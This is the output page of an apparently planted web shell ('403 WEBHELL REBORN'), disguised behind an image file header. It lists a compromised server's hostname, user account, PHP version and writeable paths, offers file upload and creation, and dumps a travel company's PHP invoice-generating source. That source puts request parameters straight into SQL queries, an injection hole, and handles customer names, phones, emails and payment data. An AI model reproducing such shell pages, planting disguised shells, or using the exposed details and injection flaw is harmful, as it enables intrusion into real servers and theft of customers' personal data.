ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/TCPDF/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/TCPDF/erp/pdf_estimate_tw_travelbus.php
<?php
ob_start();
include "../../include/top_pdf.html";

// 기존 예약정보
if($a_idx){
    $sql = "select * from TB_ERP_ALL where a_idx='{$a_idx}'";
    $rs = db_query($sql);
    $row = db_fetch_array($rs) ;

    //1인투어비
    $price_per_one = round($row['total_price'] / ($row['num_adult']+$row['num_child']));

}

//INVOICE 정보
if($i_idx){
    $sql3 = "select * from TB_ERP_INVOICE where i_idx='{$i_idx}'";
    $rs3 = db_query($sql3);
    $row3 = db_fetch_array($rs3) ;

    $n = 0;
    if($row3['detail1']) {
        $detail1 = explode("::",$row3['detail1']);
        $n++;
    }
    if($row3['detail2']) {
        $detail2 = explode("::",$row3['detail2']);
        $n++;
    }
    if($row3['detail3']) {
        $detail3 = explode("::",$row3['detail3']);
        $n++;
    }
    if($row3['detail4']) {
        $detail4 = explode("::",$row3['detail4']);
        $n++;
    }
    if($row3['detail5']) {
        $detail5 = explode("::",$row3['detail5']);
        $n++;
    }
    if($row3['detail6']) {
        $detail6 = explode("::",$row3['detail6']);
        $n++;
    }
    if($row3['detail7']) {
        $detail7 = explode("::",$row3['detail7']);
        $n++;
    }
    if($row3['detail8']) {
        $detail8 = explode("::",$row3['detail8']);
        $n++;
    }
    if($row3['detail9']) {
        $detail9 = explode("::",$row3['detail9']);
        $n++;
    }

    if($row3['payment']=="bank")		$payment = "Bank Transfer (銀行轉帳)";
    elseif($row3['payment']=="card")	$payment = "Credit Card (線上刷卡)";

}


// Include the main TCPDF library (search for installation path).
require_once('tcpdf_include.php');


// Page footer
class MYPDF extends TCPDF {

    //Page header
    public function Header() {
        // Logo
        //$image_file = K_PATH_IMAGES.'logo_example.jpg';
        //$this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
        // Set font
        //$this->SetFont('helvetica', 'B', 20);
        // Title
        $this->Cell(0, 0, '', 0, false, 'C', 0, '', 0, false, 'M', 'M');
    }

    // Page footer
    public function Footer() {
        // Position at 15 mm from bottom
        $this->SetY(-15);
        // Set font
        $this->SetFont('helvetica', 'I', 8);
        // Page number
        $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');
    }
}

// create new PDF document
//$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('Nicola Asuni');
$pdf->SetTitle('TRAVELBUS INVOICE');
$pdf->SetSubject('TRAVELBUS');
$pdf->SetKeywords('TCPDF, PDF, estimate, invoice, voucher');

// set default header data
//$pdf->SetHeaderData(HEADER_INVOICE_TKTRAVEL, PDF_HEADER_TKTRAVEL_WIDTH, '', '');

// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));

// set default monospaced font
$pdf -> SetDefaultMonospacedFont("nanumgothic");

//$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//$pdf->SetFont('CID0KR', '', 10);

// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

// set some language-dependent strings (optional)
if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {
    require_once(dirname(__FILE__).'/lang/eng.php');
    $pdf->setLanguageArray($l);
}

// ---------------------------------------------------------

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Print a table

// set font
//$pdf->SetFont('CID0KR', '', 10);
$pdf->SetFont('arialunicid0', '', 8);
//$pdf->SetFont('nanumgothic', '', 8); ## 폰트 종류,스타일,크기 지정


// add a page
$pdf->AddPage();
// create some HTML content
// Set some content to print

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$html = '
<style>
table {margin:0;}
table.qtable{width:100%;border-top:1px solid #000;border-left:1px solid #000;border-collapse:collapse;border-spacing:1;}
table.qtable th{background:#d9d9d9; border-right:1px solid #000;border-bottom:1px solid #000;font-weight:normal;padding:5px 0;text-align:center;display:inline-block;vertical-align:middle;}
table.qtable td{ border-right:1px solid #000;border-bottom:1px solid #000; padding:5px 0; line-height:140%;text-align:center;}
table.qtable td.txt_left{text-align:left;padding-left:5px;padding-right:5px;}
table.qtable td.bg_grey{background:#d9d9d9;}
table.qtable td.bt_none{border-bottom:none !important;}
table.qtable th.title{
	font-size:10pt;
	display:inline-block;vertical-align:middle;
	}

</style>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
		<tr>
			<td>
	    		<h1>TRAVELBUS ESTIMATE</h1>
			</td>
		</tr>
		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="0" cellpadding="5">
					<tr>
						<td width="50%">Date:'.date("Y-m-d").'</td>
						<td width="50%" align="right">INVOICE NO. <u><b> '.$row3['invoice_no'].'</b></u></td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="1" cellpadding="5" class="qtable">
				<tbody>
					<tr>
						<th width="10%" bgcolor="#d9d9d9">ATTN</th>
						<td width="42%" bgcolor="#fff" colspan="6" class="txt_left">'.$row['attn'].'</td>
						<th width="9%" bgcolor="#d9d9d9">FROM</th>
						<td width="13%" bgcolor="#fff" class="txt_left">'.$row['admin_nm'].'</td>
						<th width="9%" bgcolor="#d9d9d9">馬格</th>
						<td width="17%" bgcolor="#fff" class="txt_left">'.$row['charger'].'</td>
					</tr>	
					<tr>
						<th bgcolor="#d9d9d9">用戶名</th>
						<td bgcolor="#fff" colspan="6" class="txt_left">'.$row['good_name'].'</td>
						<th bgcolor="#d9d9d9">日期使用</th>
						<td bgcolor="#fff" colspan="2" class="txt_left">'.$row['start_date'].' ~ '. $row['end_date'] . '</td>
						<td bgcolor="#fff" class="txt_left">'.$row['periods'].'</td>
					</tr>					
					<tr>
						<th bgcolor="#d9d9d9">客房設施</th>
						<td bgcolor="#fff" colspan="6" class="txt_left">'.$row['hotel_name'].'</td>
						<th bgcolor="#d9d9d9">巴士資訊</th>
						<td bgcolor="#fff" colspan="3" class="txt_left">'.$row['car_info'].'</td>
					</tr>	
					<tr>
						<th bgcolor="#d9d9d9">用戶名</th>
						<td width="14%" bgcolor="#fff" colspan="2" class="txt_left">'.$row['res_name'].'</td>
						<th width="9%" bgcolor="#d9d9d9">國籍</th>
						<td width="19%" bgcolor="#fff" colspan="3" class="txt_left">'.$row['res_nationality'].'</td>
						<th bgcolor="#d9d9d9">立即預訂</th>
						<td bgcolor="#fff" colspan="3" class="txt_left">'.$row['currency']. " " . number_format($row['deposit']) . '
						</td>
					</tr>	
					<tr>
						<th bgcolor="#d9d9d9">手機</th>
						<td width="14%" bgcolor="#fff" colspan="2" class="txt_left">'.$row['res_phone'].'</td>
						<th width="9%" bgcolor="#d9d9d9">E-mail</th>
						<td width="19%" bgcolor="#fff" colspan="3" class="txt_left">'.$row['res_email'].'</td>
						<th bgcolor="#d9d9d9">Balance</th>
						<td bgcolor="#fff" colspan="3" class="txt_left">'.$row['currency'] . " " . number_format($row['balance']) . '</td>
					</tr>	
					<tr>
						<th bgcolor="#d9d9d9">參與者</th>
						<th width="9%" bgcolor="#d9d9d9">成人</th>
						<td width="5%" bgcolor="#fff">'.$row['num_adult'].'</td>
						<th width="9%" bgcolor="#d9d9d9">孩子</th>
						<td width="5%" bgcolor="#fff">'.$row['num_child'].'</td>
						<th width="9%" bgcolor="#d9d9d9">FOC</th>
						<td width="5%" bgcolor="#fff">'.$row['num_foc'].'</td>
						<th bgcolor="#d9d9d9">總計</th>
						<td bgcolor="#fff" style="color:red">
							'.$row['currency'] . " " . number_format($row['total_price']) . '</td>
						<th bgcolor="#d9d9d9">人均費用</th>
						<td bgcolor="#fff" style="color:red" class="txt_left">
							' . $row['currency'] . " " . number_format($price_per_one) . '</td>
					</tr>	
					<tr>
						<th bgcolor="#d9d9d9" style="font-size:7pt">到期付款</th>
						<td bgcolor="#fff" colspan="6" class="txt_left">' . $row['date_payment'] . '</td>
						<th bgcolor="#d9d9d9">支付方式</th>
						<td bgcolor="#fff" colspan="3" class="txt_left">' . $payment . '</td>
					</tr>	

				</tbody>
				</table>
			</td>
		</tr>
		<tr>
			<td height="20">&nbsp;</td>
		</tr>
	</table>
';


$html .= '
		<!-- ITEM DETAILS -->
	<table width="100%" border="0" cellspacing="0" cellpadding="0">

		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="1" cellpadding="5" class="qtable">
					<tbody>
					<tr>
						<th width="19%" bgcolor="#d9d9d9" rowspan="'.$n.'" style="font-size:10pt;display:inline-block;vertical-align:middle;" valign="middle">項目詳情</th>';
if($row3['detail1']) {
    $html .=			'
										<td width="5%" align="center">(1)</td>
										<td width="56%" class="txt_left">'.$detail1[0].'</td>
										<td width="20%">' . $row['currency'] . " " .number_format($detail1[1]).'</td>
					</tr>
					';
}
if($row3['detail2']) {
    $html .=			'
									<tr>
										<td align="center">(2)</td>
										<td class="txt_left">'.$detail2[0].'</td>
										<td>' . $row['currency'] . " " .number_format($detail2[1]).'</td>
									</tr>';
}
if($row3['detail3']) {
    $html .=			'
									<tr>
										<td align="center">(3)</td>
										<td class="txt_left">'.$detail3[0].'</td>
										<td>' . $row['currency'] . " " .number_format($detail3[1]).'</td>
									</tr>';
}
if($row3['detail4']) {
    $html .=			'
									<tr>
										<td align="center">(4)</td>
										<td class="txt_left">'.$detail4[0].'</td>
										<td>' . $row['currency'] . " " .number_format($detail4[1]).'</td>
									</tr>';
}
if($row3['detail5']) {
    $html .=			'
									<tr>
										<td align="center">(5)</td>
										<td class="txt_left">'.$detail5[0].'</td>
										<td>' . $row['currency'] . " " .number_format($detail5[1]).'</td>
									</tr>';
}

$html .= '
						<tr>
							<th bgcolor="#d9d9d9" colspan="3" align="center">總存款額</th>
							<td bgcolor="#d9d9d9">' . $row['currency'] . " " .number_format($row3[total_detail_amount]).'</td>
						</tr>
						</tbody>				
					</table>
			</td>
		</tr>
		<tr>
			<td height="20">&nbsp;</td>
		</tr>
		
	</table>
		<!-- //ITEM DETAILS -->
';

$html .= '
		<!-- ACCOUNT INFORMATION -->
	<table width="100%" border="0" cellspacing="0" cellpadding="0">

		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="1" cellpadding="5" class="qtable">
					<tbody>
					<tr>
						<th width="19%" bgcolor="#d9d9d9" rowspan="2" valign="middle" class="title">賬號信息</th>
						<td width="20%" bgcolor="#fff">'.$row3['account1'].'</td>
						<td width="61%" bgcolor="#fff" class="txt_left">'.$row3['account1_val'].'</td>
					</tr>
					<tr>
						<td bgcolor="#fff">'.$row3['account2'].'</td>
						<td bgcolor="#fff" class="txt_left">'.$row3['account2_val'].'</td>
					</tr>
					</tbody>
				</table>
			</td>
		</tr>
		<tr>
			<td height="20">&nbsp;</td>
		</tr>
	</table>
		<!--// ACCOUNT INFORMATION -->
		';


$html .= '
		<!-- Cancellation Policy -->
	<table width="100%" border="0" cellspacing="0" cellpadding="0">

		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="1" cellpadding="5" class="qtable">
					<tbody>
					<tr>
						<th width="19%" bgcolor="#d9d9d9" valign="middle" style="font-size:10pt">取消政策</th>
						<td width="81%" bgcolor="#fff" class="txt_left">'.nl2br(stripslashes($row3['rule_refund'])).'</td>
					</tr>
					</tbody>
				</table>
			</td>
		</tr>
		<tr>
			<td height="20">&nbsp;</td>
		</tr>

	</table>

		<!-- REMARKS -->
	<table width="100%" border="0" cellspacing="0" cellpadding="0">

		<tr>
			<td valign="top">
				<table width="100%" border="0" cellspacing="1" cellpadding="5" class="qtable">
					<tbody>
					<tr>
						<th width="19%" bgcolor="#d9d9d9" valign="middle" style="font-size:10pt">備註</th>
						<td width="81%" bgcolor="#fff" class="txt_left">'.nl2br(stripslashes($row3['remarks'])).'</td>
					</tr>
					</tbody>
				</table>
			</td>
		</tr>
	</table>

	<table width="100%" border="0" cellspacing="0" cellpadding="0">
		<tr>
			<td>&nbsp;</td>
		</tr>

		<tr>
			<td align="right">
			<h3>TRAVELBUS</h3>
			</td>
		</tr>
		<tr>
			<td>&nbsp;</td>
		</tr>

		<tr>
			<td>
			    <h1>TRAVELBUS</h1>
			</td>
		</tr>

	</table>
			';

//echo $html;
//exit;
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
// reset pointer to the last page
$pdf->lastPage();

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ob_end_clean();
//Close and output PDF document
$filename = "invoice_tw_travelbus_" . date("Ymd") . ".pdf";
$pdf->Output($filename, 'D');
//$pdf->Output($filename, 'I');
ob_end_flush();
//============================================================+
// END OF FILE
//============================================================+

Anon7 - 2021